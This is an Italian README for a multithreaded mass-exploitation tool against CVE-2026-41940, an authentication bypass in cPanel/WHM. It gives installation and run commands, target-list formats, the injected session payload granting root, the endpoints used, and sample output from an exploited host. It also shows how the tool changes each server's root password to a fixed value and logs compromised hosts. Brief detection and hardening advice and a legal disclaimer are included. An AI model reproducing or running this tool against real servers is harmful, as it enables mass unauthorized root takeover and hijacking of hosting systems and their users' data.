
Scanner bulk e strumento di sfruttamento di massa per CVE-2026-41940 su cPanel/WHM, progettato per la validazione automatizzata dei bersagli e l'esecuzione multi-thread ad alta velocità.
CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in WHM/cPanel che consente agli aggressori di eludere l'autenticazione e ottenere accesso root a un server senza credenziali valide. La vulnerabilità sfrutta l'iniezione CRLF nel meccanismo di gestione delle sessioni per iniettare parametri di sessione dannosi.
Questo strumento fornisce capacità di exploit di massa con supporto multi-threading per testare più target contemporaneamente, con rilevamento intelligente del successo e filtraggio automatico dei target non validi.
| Caratteristica | Descrizione |
|---|
| ✅ Exploit di massa | Scansiona e sfrutta più target da un file di elenco |
| 🚀 Multi-threading | Numero di thread configurabile per scansioni più veloci (default: 15) |
| 🔐 Cambio password automatico | Cambia la password di root in Jenderal92 dopo l'exploit riuscito |
| 🛡️ Rilevamento intelligente del successo | Rileva automaticamente vari formati di risposta API WHM |
| ⚠️ Filtraggio errori di licenza | Esclude target con errori di licenza non valida/non leggibile |
| 📝 Output strutturato | Salva solo i successi confermati nel formato `dominio:porta |
| 🛡️ Supporto SSL/TLS | Gestisce automaticamente i certificati autofirmati |
| 🔄 Gestione delle sessioni | Estrazione automatica della sessione, iniezione di cookie e gestione dei token |
| ⏱️ Controllo timeout | Timeout di connessione configurabile (default: 15 secondi) |
| 🔍 Verifica pre-connessione | Controlla la disponibilità della porta prima del tentativo di exploit |
| 📊 Avanzamento in tempo reale | Mostra progressi dettagliati per ogni fase dell'exploit |
pip install requests urllib3 futures
Oppure usa requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clona il repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Installa le dipendenze
pip install -r requirements.txt
# Rendi eseguibile (Linux/Mac)
chmod +x CVE-2026-41940.py
Crea un file targets.txt con un target per riga:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: La porta
2087è la porta WHM predefinita. Se non specificata, verrà usata automaticamente la porta 2087. Il prefisso HTTP/HTTPS verrà aggiunto automaticamente se mancante.
python2 CVE-2026-41940.py targets.txt
# Usa 5 thread concorrenti
python2 CVE-2026-41940.py targets.txt --threads 5
# Usa 20 thread per scansioni più veloci
python2 CVE-2026-41940.py targets.txt --threads 20
# Sovrascrivi l'header Host per tutti i target
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Imposta il timeout a 30 secondi per connessioni lente
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argomento | Descrizione | Predefinito | Obbligatorio |
|---|---|---|---|
list_file | File contenente l'elenco dei target (uno per riga) | - | ✅ Sì |
--threads | Numero di thread concorrenti | 15 | ❌ No |
--hostname | Sovrascrivi l'header Host per tutti i target | Auto-rilevamento | ❌ No |
--timeout | Timeout di connessione in secondi | 15 | ❌ No |
res.txt)Vengono salvati solo gli exploit riusciti confermati. I target con errori di licenza, cambi di password falliti o problemi di connessione vengono automaticamente esclusi.
Formato:
dominio:porta|root|Jenderal92
Esempio di output:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
I seguenti target NON verranno salvati in res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Caricati 4 target
[*] Avvio exploit con 10 thread...
[*] Timeout: 15 secondi
[*] Nota: http:// verrà aggiunto automaticamente se mancante
[*] SOLO i target con cambio password confermato verranno salvati in res.txt
[*] I target con errori di licenza, problemi di connessione o cambi di password falliti verranno ESCLUSI
==================================================
[*] Controllo target: 127.0.0.1
Input originale: 127.0.0.1
Normalizzato: https://127.0.0.1:2087
Porta 2087: APERTA
Test connessione... OK (HTTP 200)
[0] hostname = example.com
[1] creazione sessione preauth...
sessione base = :d5nPe99Nx9HQdMu2
[2] invio dell'iniezione CRLF...
HTTP 307, token trapelato = /cpsess0488087910
[3] attivazione di do_token_denied per propagare...
HTTP 401, gadget attivato
[4] verifica di essere root su WHM...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] tentativo di cambiare la password di root
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Cambio password confermato (metadata.result=1)
[+] ✓ Password di root cambiata con successo in 'Jenderal92'!
[✓] SUCCESSO & SALVATO: 127.0.0.1:2087
Salvato in res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scansione completata!
[*] Target con password cambiate con successo: 1 su 4
[+] Risultati salvati in res.txt
Target sfruttati con successo (password cambiata in Jenderal92):
✓ 127.0.0.1:2087
L'exploit è composto da 4 fasi principali con verifica intelligente:
[1] creazione sessione preauth...
/login/?login_only=1 con credenziali non validewhostmgrsession dalla risposta del server,<obhex>[2] invio dell'iniezione CRLF...
Authorization: Basic contenente il payload dannosoroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) iniettano parametri di sessione falsiLocation contenente il cp_security_token[3] attivazione di do_token_denied per propagare...
/scripts2/listaccts con il cookie manipolatodo_token_denied in WHM[4] verifica di essere root su WHM...
/json-api/version per verificare l'accesso di livello root/json-api/passwd per cambiare la password di root in Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (versioni precedenti){"result": [{"status": 1}]} (formato legacy)Lo strumento esclude automaticamente:
{"status": 0, "statusmsg": "Cannot Read License File"}| Indicatore | Descrizione |
|---|---|
Cookie whostmgrsession anomalo | Pattern di cookie insoliti senza autenticazione corretta |
| Caratteri CRLF negli header | Rilevamento di sequenze \r\n negli header HTTP |
Accesso a /scripts2/listaccts | Accesso non autorizzato a questo percorso |
Password Jenderal92 | Accesso riuscito con questa password specifica |
Perdita di token cpsess | Token di sicurezza visibile nell'header Location |
| Login fallito seguito da successo | POST a /login/?login_only=1 con password errata, poi accesso privilegiato |
# Log di accesso WHM
/usr/local/cpanel/logs/access_log
# Log errori cPanel
/usr/local/cpanel/logs/error_log
# Log autenticazione
/var/log/secure
# Messaggi di sistema
/var/log/messages
Aggiorna WHM/cPanel all'ultima versione patchata immediatamente
/usr/local/cpanel/scripts/upcp
Abilita l'autenticazione a due fattori (2FA) per tutti gli account, in particolare root
WHM → Centro sicurezza → Autenticazione a due fattori
Limita l'accesso a WHM con whitelist IP
WHM → Centro sicurezza → Controllo accesso host
Monitora regolarmente i log di accesso per pattern sospetti
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Cambia tutte le password se si sospetta una compromissione
Usa regole firewall per limitare l'accesso alla porta 2087
# Consenti solo IP fidati
iptables -A INPUT -p tcp --dport 2087 -s TUO_IP_FIDATO -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Oppure usa il firewall CSF/LFD
csf -a TUO_IP_FIDATO
Implementa regole WAF per rilevare tentativi di iniezione CRLF
Verifiche di sicurezza periodiche delle installazioni WHM/cPanel
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt può contenere vari formati:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# Tutti verranno normalizzati automaticamente
python2 CVE-2026-41940.py targets.txt --threads 15
Problema: Si sta usando Python 3 invece di Python 2.7
Soluzione: Questo strumento richiede specificamente Python 2.7.
# Controlla la versione di Python
python2 --version # Deve mostrare Python 2.7.x
# Esegui esplicitamente con python2
python2 CVE-2026-41940.py targets.txt
Problema: Il target è offline o il firewall lo blocca
Soluzione:
# Test manuale
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problema: Il target potrebbe essere patchato o non eseguire WHM
Soluzione:
https://target:2087Soluzione: Regola il numero di thread e il timeout
# Per molti target con buona connettività
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# Per connessioni inaffidabili
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Nota: I target che mostrano Cannot Read License File vengono automaticamente esclusi da res.txt. Questo comportamento è previsto poiché i cambi di password non funzionano su installazioni WHM senza licenza.
Puoi modificare PAYLOAD_B64 per parametri di sessione personalizzati:
import base64
# Payload personalizzato
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Cambia la password nella funzione do_passwd() (riga ~280):
{"user": "root", "password": "TuaPasswordPersonalizzata123"}
La funzione do_passwd() può essere modificata per rilevare formati di risposta WHM personalizzati:
# Aggiungi un pattern personalizzato in do_passwd()
if 'tua_stringa_di_successo_personalizzata' in (r.text or '').lower():
return "success"
I contributi sono benvenuti! Segui questi passaggi:
git checkout -b feature/AmazingFeature)git commit -m 'Aggiungi AmazingFeature')git push origin feature/AmazingFeature)Se questo strumento ti è utile per la tua ricerca sulla sicurezza, per favore dagli una ⭐ su GitHub!
D: Questo strumento può essere rilevato?
R: Sì, questo strumento lascia tracce nei log di accesso WHM/cPanel. Usalo solo con la dovuta autorizzazione e per test di sicurezza legittimi.
D: Quanto tempo richiede l'exploit?
R: Circa 5-15 secondi per target, a seconda della latenza di rete e del tempo di risposta del server.
D: Richiede accesso root pregresso?
R: No, questo exploit funziona completamente dall'esterno senza alcuna autenticazione.
D: Questo strumento funziona su Windows?
R: Sì, purché Python 2.7 sia installato e configurato correttamente.
D: Il mio target usa una porta diversa, cosa devo fare?
R: Specifica la porta nell'URL del target: https://target.com:2083 per cPanel o qualsiasi porta personalizzata.
D: Perché alcuni target non vengono salvati in res.txt anche se l'exploit ha funzionato?
R: Lo strumento salva solo i target in cui la password è stata cambiata con successo. I target con errori di licenza, cambi di password falliti o altri problemi vengono esclusi anche se il bypass dell'autenticazione è riuscito.
D: Quali versioni di WHM/cPanel sono vulnerabili?
R: Le versioni precedenti alla patch per CVE-2026-41940. Controlla il changelog di cPanel per la versione patchata.
Jenderal92 su exploit riuscito2087 (usata automaticamente se non specificata)res.txtres.txt (i vecchi risultati vengono cancellati)
Creato a scopo educativo per la ricerca sulla sicurezza
Usa responsabilmente, sii legale, sii etico
⚠️ AVVERTENZA CRITICA!
Questo strumento è stato creato esclusivamente per:
- ✅ Scopi educativi e ricerca sulla sicurezza
- ✅ Test di penetrazione autorizzati
- ✅ Valutazioni di sicurezza su sistemi di tua proprietà
- ✅ Verifica di vulnerabilità con autorizzazione scritta
Usi STRETTAMENTE VIETATI:
- ❌ Accesso a sistemi senza esplicita autorizzazione
- ❌ Qualsiasi forma di attività illegale
- ❌ Azioni malevoli o danni ai sistemi
- ❌ Accesso non autorizzato a qualsiasi sistema informatico
- ❌ Violazione di leggi locali, statali o federali
L'autore/i NON si assume alcuna responsabilità per qualsiasi uso improprio, danno o conseguenza derivante dall'utilizzo di questo strumento. Utilizzando questo strumento, accetti di usarlo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per il test.
Se procedi, riconosci che:
- Hai l'autorizzazione per testare i sistemi target
- Comprendi le implicazioni legali dell'accesso non autorizzato
- Rispetterai tutte le leggi e i regolamenti applicabili
- L'autore/i non sono responsabili per le tue azioni
Per ulteriori dichiarazioni di non responsabilità, consulta la copertina di Jenderal92. Puoi verificarla QUI !!!